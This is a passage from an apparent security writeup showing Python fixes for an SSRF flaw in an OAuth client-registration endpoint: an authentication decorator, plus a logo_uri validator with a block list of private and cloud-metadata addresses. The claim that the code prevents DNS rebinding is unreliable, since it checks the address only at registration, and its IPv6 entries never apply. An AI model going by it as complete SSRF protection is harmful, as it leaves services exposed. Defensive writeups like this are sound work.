        if not auth_header:
            return jsonify({'error': 'Authentication required'}), 401
        
        # Verify API key or OAuth token
        if not verify_api_key(auth_header):
            return jsonify({'error': 'Invalid credentials'}), 403
        
        return f(*args, **kwargs)
    return decorated
@app.route('/reg', methods=['POST'])
@require_auth  # โœ… Authentication required!
def register_client():
    data = request.get_json()
    
    # Process registration
    client = create_client(data)
    
    return jsonify(client), 201
# Benefits:
# โœ… Only authenticated users can register clients
# โœ… Rate limiting per API key possible
# โœ… Audit trail of who registered what
# โœ… Reduces attack surface significantly

Fix 2: Validate and Sanitize logo_uri

# โœ… SECURE VERSION

import ipaddress
import urllib.parse
from urllib.parse import urlparse
ALLOWED_SCHEMES = ['https']  # Only HTTPS allowed
BLOCKED_NETWORKS = [
    ipaddress.ip_network('169.254.0.0/16'),    # AWS metadata
    ipaddress.ip_network('127.0.0.0/8'),       # Localhost
    ipaddress.ip_network('10.0.0.0/8'),        # Private
    ipaddress.ip_network('172.16.0.0/12'),     # Private
    ipaddress.ip_network('192.168.0.0/16'),    # Private
    ipaddress.ip_network('::1/128'),           # IPv6 localhost
    ipaddress.ip_network('fc00::/7'),          # IPv6 private
]
def validate_url(url):
    """Validate URL to prevent SSRF"""
    
    try:
        parsed = urlparse(url)
        
        # โœ… Check scheme
        if parsed.scheme not in ALLOWED_SCHEMES:
            raise ValueError(f'Scheme {parsed.scheme} not allowed')
        
        # โœ… Resolve hostname to IP
        hostname = parsed.hostname
        if not hostname:
            raise ValueError('Invalid hostname')
        
        # Get IP address
        import socket
        ip_str = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(ip_str)
        
        # โœ… Check against blocked networks
        for network in BLOCKED_NETWORKS:
            if ip in network:
                raise ValueError(f'IP {ip} is in blocked network')
        
        # โœ… Additional checks
        if hostname == 'metadata.google.internal':
            raise ValueError('Blocked hostname')
        
        if hostname.endswith('.internal'):
            raise ValueError('Internal domains not allowed')
        
        return True
        
    except Exception as e:
        logger.warning(f'URL validation failed: {e}')
        return False
@app.route('/reg', methods=['POST'])
def register_client():
    data = request.get_json()
    
    logo_uri = data.get('logo_uri')
    
    if logo_uri:
        # โœ… CRITICAL: Validate URL before storing
        if not validate_url(logo_uri):
            return jsonify({
                'error': 'Invalid logo_uri',
                'description': 'URL validation failed'
            }), 400
    
    client = create_client(data)
    return jsonify(client), 201
# Benefits:
# โœ… Only HTTPS allowed
# โœ… Blocks private IP ranges
# โœ… Blocks cloud metadata endpoints
# โœ… Prevents DNS rebinding (validates resolved IP)
# โœ… Blocks internal domains

๐Ÿ‘ If this helped you โ€” clap it up (you can clap up to 50 times!)

๐Ÿ”” Follow for more writeups โ€” dropping soon

๐Ÿ”— Share with your pentest team

๐Ÿ’ฌ Drop a comment